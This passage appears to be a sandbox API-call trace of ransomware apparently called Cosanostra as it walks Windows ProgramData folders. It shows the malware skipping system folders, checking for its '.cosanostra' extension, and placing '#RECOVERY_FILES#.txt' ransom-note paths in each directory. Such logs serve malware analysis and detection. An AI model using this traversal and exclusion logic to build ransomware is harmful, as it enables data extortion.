Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned 89 [0079.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.699] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.699] lstrlenW (lpString="Windows") returned 7 [0079.699] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.699] lstrlenW (lpString="Program Files") returned 13 [0079.699] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.699] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.699] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.699] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.699] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.699] lstrlenW (lpString="System Volume Information") returned 25 [0079.699] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\.") returned 89 [0079.699] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.699] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.700] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.700] lstrlenW (lpString="Windows") returned 7 [0079.701] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.701] lstrlenW (lpString="Program Files") returned 13 [0079.701] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.701] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.701] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.701] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.701] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.701] lstrlenW (lpString="System Volume Information") returned 25 [0079.701] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\..") returned 90 [0079.701] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.701] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.701] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.701] lstrcmpiW (lpString1="background.png", lpString2="Windows") returned -1 [0079.701] lstrlenW (lpString="Windows") returned 7 [0079.701] lstrcmpiW (lpString1="background.png", lpString2="Program Files") returned -1 [0079.701] lstrlenW (lpString="Program Files") returned 13 [0079.701] lstrcmpiW (lpString1="background.png", lpString2="Program Files (x86)") returned -1 [0079.701] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.701] lstrcmpiW (lpString1="background.png", lpString2="$Recycle.bin") returned 1 [0079.701] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.701] lstrcmpiW (lpString1="background.png", lpString2="System Volume Information") returned -1 [0079.701] lstrlenW (lpString="System Volume Information") returned 25 [0079.701] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 102 [0079.701] StrStrIW (lpFirst="background.png", lpSrch=".cosanostra") returned 0x0 [0079.701] lstrcmpW (lpString1="background.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.701] lstrcmpW (lpString1="background.png", lpString2="_uninstalling_.png") returned 1 [0079.701] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 102 [0079.701] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.701] lstrcmpiW (lpString1="behavior.xml", lpString2="Windows") returned -1 [0079.701] lstrlenW (lpString="Windows") returned 7 [0079.701] lstrcmpiW (lpString1="behavior.xml", lpString2="Program Files") returned -1 [0079.701] lstrlenW (lpString="Program Files") returned 13 [0079.701] lstrcmpiW (lpString1="behavior.xml", lpString2="Program Files (x86)") returned -1 [0079.701] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.701] lstrcmpiW (lpString1="behavior.xml", lpString2="$Recycle.bin") returned 1 [0079.701] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.701] lstrcmpiW (lpString1="behavior.xml", lpString2="System Volume Information") returned -1 [0079.701] lstrlenW (lpString="System Volume Information") returned 25 [0079.701] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 100 [0079.701] StrStrIW (lpFirst="behavior.xml", lpSrch=".cosanostra") returned 0x0 [0079.702] lstrcmpW (lpString1="behavior.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.702] lstrcmpW (lpString1="behavior.xml", lpString2="_uninstalling_.png") returned 1 [0079.702] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 100 [0079.702] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.702] lstrcmpiW (lpString1="watermark.png", lpString2="Windows") returned -1 [0079.702] lstrlenW (lpString="Windows") returned 7 [0079.702] lstrcmpiW (lpString1="watermark.png", lpString2="Program Files") returned 1 [0079.702] lstrlenW (lpString="Program Files") returned 13 [0079.702] lstrcmpiW (lpString1="watermark.png", lpString2="Program Files (x86)") returned 1 [0079.702] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.702] lstrcmpiW (lpString1="watermark.png", lpString2="$Recycle.bin") returned 1 [0079.702] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.702] lstrcmpiW (lpString1="watermark.png", lpString2="System Volume Information") returned 1 [0079.702] lstrlenW (lpString="System Volume Information") returned 25 [0079.702] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned 101 [0079.702] StrStrIW (lpFirst="watermark.png", lpSrch=".cosanostra") returned 0x0 [0079.702] lstrcmpW (lpString1="watermark.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.702] lstrcmpW (lpString1="watermark.png", lpString2="_uninstalling_.png") returned 1 [0079.702] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned 101 [0079.702] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.702] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.702] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\#RECOVERY_FILES#.txt") returned 108 [0079.702] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\#RECOVERY_FILES#.txt") returned 108 [0079.703] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.703] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.704] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\#RECOVERY_FILES#.txt") returned 69 [0079.704] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\#RECOVERY_FILES#.txt") returned 69 [0079.704] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.704] lstrcmpiW (lpString1="Task", lpString2="Windows") returned -1 [0079.704] lstrlenW (lpString="Windows") returned 7 [0079.704] lstrcmpiW (lpString1="Task", lpString2="Program Files") returned 1 [0079.704] lstrlenW (lpString="Program Files") returned 13 [0079.704] lstrcmpiW (lpString1="Task", lpString2="Program Files (x86)") returned 1 [0079.704] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.704] lstrcmpiW (lpString1="Task", lpString2="$Recycle.bin") returned 1 [0079.704] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.704] lstrcmpiW (lpString1="Task", lpString2="System Volume Information") returned 1 [0079.704] lstrlenW (lpString="System Volume Information") returned 25 [0079.704] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 46 [0079.704] lstrcmpW (lpString1="Task", lpString2=".") returned 1 [0079.704] lstrcmpW (lpString1="Task", lpString2="..") returned 1 [0079.704] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*") returned 48 [0079.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.705] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.705] lstrlenW (lpString="Windows") returned 7 [0079.705] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.705] lstrlenW (lpString="Program Files") returned 13 [0079.705] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.705] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.705] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.705] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.705] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.705] lstrlenW (lpString="System Volume Information") returned 25 [0079.705] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\.") returned 48 [0079.705] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.705] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.705] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.705] lstrlenW (lpString="Windows") returned 7 [0079.705] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.705] lstrlenW (lpString="Program Files") returned 13 [0079.705] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.705] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.705] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.705] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.705] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.705] lstrlenW (lpString="System Volume Information") returned 25 [0079.705] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\..") returned 49 [0079.705] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.706] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.706] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.706] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Windows") returned -1 [0079.706] lstrlenW (lpString="Windows") returned 7 [0079.706] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Program Files") returned -1 [0079.706] lstrlenW (lpString="Program Files") returned 13 [0079.706] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="Program Files (x86)") returned -1 [0079.706] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.706] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="$Recycle.bin") returned 1 [0079.706] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.706] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="System Volume Information") returned -1 [0079.706] lstrlenW (lpString="System Volume Information") returned 25 [0079.706] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 85 [0079.706] lstrcmpW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2=".") returned 1 [0079.706] lstrcmpW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="..") returned 1 [0079.706] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned 87 [0079.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.708] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.709] lstrlenW (lpString="Windows") returned 7 [0079.709] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.709] lstrlenW (lpString="Program Files") returned 13 [0079.709] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.709] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.709] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.709] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.709] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.709] lstrlenW (lpString="System Volume Information") returned 25 [0079.709] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\.") returned 87 [0079.709] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.709] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.709] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.709] lstrlenW (lpString="Windows") returned 7 [0079.709] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.709] lstrlenW (lpString="Program Files") returned 13 [0079.709] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.709] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.709] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.709] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.709] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.709] lstrlenW (lpString="System Volume Information") returned 25 [0079.709] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\..") returned 88 [0079.709] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.709] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.709] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.709] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0079.709] lstrlenW (lpString="Windows") returned 7 [0079.709] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1 [0079.709] lstrlenW (lpString="Program Files") returned 13 [0079.709] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1 [0079.709] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.709] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.bin") returned 1 [0079.709] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.709] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1 [0079.709] lstrlenW (lpString="System Volume Information") returned 25 [0079.709] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 91 [0079.710] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0079.710] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0079.710] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned 93 [0079.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0079.711] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.711] lstrlenW (lpString="Windows") returned 7 [0079.711] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.711] lstrlenW (lpString="Program Files") returned 13 [0079.711] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.711] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.711] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.711] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.711] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.711] lstrlenW (lpString="System Volume Information") returned 25 [0079.711] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\.") returned 93 [0079.711] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.711] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.711] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.711] lstrlenW (lpString="Windows") returned 7 [0079.711] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.711] lstrlenW (lpString="Program Files") returned 13 [0079.711] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.711] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.711] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.711] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.711] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.711] lstrlenW (lpString="System Volume Information") returned 25 [0079.711] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\..") returned 94 [0079.711] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.711] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.711] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0079.711] lstrcmpiW (lpString1="resource.xml", lpString2="Windows") returned -1 [0079.711] lstrlenW (lpString="Windows") returned 7 [0079.711] lstrcmpiW (lpString1="resource.xml", lpString2="Program Files") returned 1 [0079.711] lstrlenW (lpString="Program Files") returned 13 [0079.711] lstrcmpiW (lpString1="resource.xml", lpString2="Program Files (x86)") returned 1 [0079.711] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.711] lstrcmpiW (lpString1="resource.xml", lpString2="$Recycle.bin") returned 1 [0079.711] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.711] lstrcmpiW (lpString1="resource.xml", lpString2="System Volume Information") returned -1 [0079.711] lstrlenW (lpString="System Volume Information") returned 25 [0079.711] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned 104 [0079.711] StrStrIW (lpFirst="resource.xml", lpSrch=".cosanostra") returned 0x0 [0079.712] lstrcmpW (lpString1="resource.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.712] lstrcmpW (lpString1="resource.xml", lpString2="_uninstalling_.png") returned 1 [0079.712] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned 104 [0079.712] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0079.712] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0079.712] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\#RECOVERY_FILES#.txt") returned 112 [0079.712] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\#RECOVERY_FILES#.txt") returned 112 [0079.712] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.712] lstrcmpiW (lpString1="folder.ico", lpString2="Windows") returned -1 [0079.712] lstrlenW (lpString="Windows") returned 7 [0079.712] lstrcmpiW (lpString1="folder.ico", lpString2="Program Files") returned -1 [0079.712] lstrlenW (lpString="Program Files") returned 13 [0079.712] lstrcmpiW (lpString1="folder.ico", lpString2="Program Files (x86)") returned -1 [0079.712] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.712] lstrcmpiW (lpString1="folder.ico", lpString2="$Recycle.bin") returned 1 [0079.712] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.712] lstrcmpiW (lpString1="folder.ico", lpString2="System Volume Information") returned -1 [0079.712] lstrlenW (lpString="System Volume Information") returned 25 [0079.712] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned 96 [0079.712] StrStrIW (lpFirst="folder.ico", lpSrch=".cosanostra") returned 0x0 [0079.712] lstrcmpW (lpString1="folder.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.712] lstrcmpW (lpString1="folder.ico", lpString2="_uninstalling_.png") returned 1 [0079.712] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned 96 [0079.712] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.712] lstrcmpiW (lpString1="netfol.ico", lpString2="Windows") returned -1 [0079.712] lstrlenW (lpString="Windows") returned 7 [0079.712] lstrcmpiW (lpString1="netfol.ico", lpString2="Program Files") returned -1 [0079.712] lstrlenW (lpString="Program Files") returned 13 [0079.712] lstrcmpiW (lpString1="netfol.ico", lpString2="Program Files (x86)") returned -1 [0079.712] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.712] lstrcmpiW (lpString1="netfol.ico", lpString2="$Recycle.bin") returned 1 [0079.713] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.713] lstrcmpiW (lpString1="netfol.ico", lpString2="System Volume Information") returned -1 [0079.713] lstrlenW (lpString="System Volume Information") returned 25 [0079.713] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned 96 [0079.713] StrStrIW (lpFirst="netfol.ico", lpSrch=".cosanostra") returned 0x0 [0079.713] lstrcmpW (lpString1="netfol.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.713] lstrcmpW (lpString1="netfol.ico", lpString2="_uninstalling_.png") returned 1 [0079.713] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned 96 [0079.713] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.713] lstrcmpiW (lpString1="pictures.ico", lpString2="Windows") returned -1 [0079.713] lstrlenW (lpString="Windows") returned 7 [0079.713] lstrcmpiW (lpString1="pictures.ico", lpString2="Program Files") returned -1 [0079.713] lstrlenW (lpString="Program Files") returned 13 [0079.713] lstrcmpiW (lpString1="pictures.ico", lpString2="Program Files (x86)") returned -1 [0079.713] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.713] lstrcmpiW (lpString1="pictures.ico", lpString2="$Recycle.bin") returned 1 [0079.713] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.713] lstrcmpiW (lpString1="pictures.ico", lpString2="System Volume Information") returned -1 [0079.713] lstrlenW (lpString="System Volume Information") returned 25 [0079.713] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned 98 [0079.713] StrStrIW (lpFirst="pictures.ico", lpSrch=".cosanostra") returned 0x0 [0079.713] lstrcmpW (lpString1="pictures.ico", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.713] lstrcmpW (lpString1="pictures.ico", lpString2="_uninstalling_.png") returned 1 [0079.713] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned 98 [0079.713] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.713] lstrcmpiW (lpString1="resource.xml", lpString2="Windows") returned -1 [0079.713] lstrlenW (lpString="Windows") returned 7 [0079.713] lstrcmpiW (lpString1="resource.xml", lpString2="Program Files") returned 1 [0079.714] lstrlenW (lpString="Program Files") returned 13 [0079.714] lstrcmpiW (lpString1="resource.xml", lpString2="Program Files (x86)") returned 1 [0079.714] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.714] lstrcmpiW (lpString1="resource.xml", lpString2="$Recycle.bin") returned 1 [0079.714] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.714] lstrcmpiW (lpString1="resource.xml", lpString2="System Volume Information") returned -1 [0079.714] lstrlenW (lpString="System Volume Information") returned 25 [0079.714] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned 98 [0079.714] StrStrIW (lpFirst="resource.xml", lpSrch=".cosanostra") returned 0x0 [0079.714] lstrcmpW (lpString1="resource.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.714] lstrcmpW (lpString1="resource.xml", lpString2="_uninstalling_.png") returned 1 [0079.714] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned 98 [0079.714] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.714] lstrcmpiW (lpString1="ringtones.ico", lpString2="Windows") returned -1 [0079.714] lstrlenW (lpString="Windows") returned 7 [0079.714] lstrcmpiW (lpString1="ringtones.ico", lpString2="Program Files") returned 1 [0079.714] lstrlenW (lpString="Program Files") returned 13 [0079.714] lstrcmpiW (lpString1="ringtones.ico", lpString2="Program Files (x86)") returned 1 [0079.714] 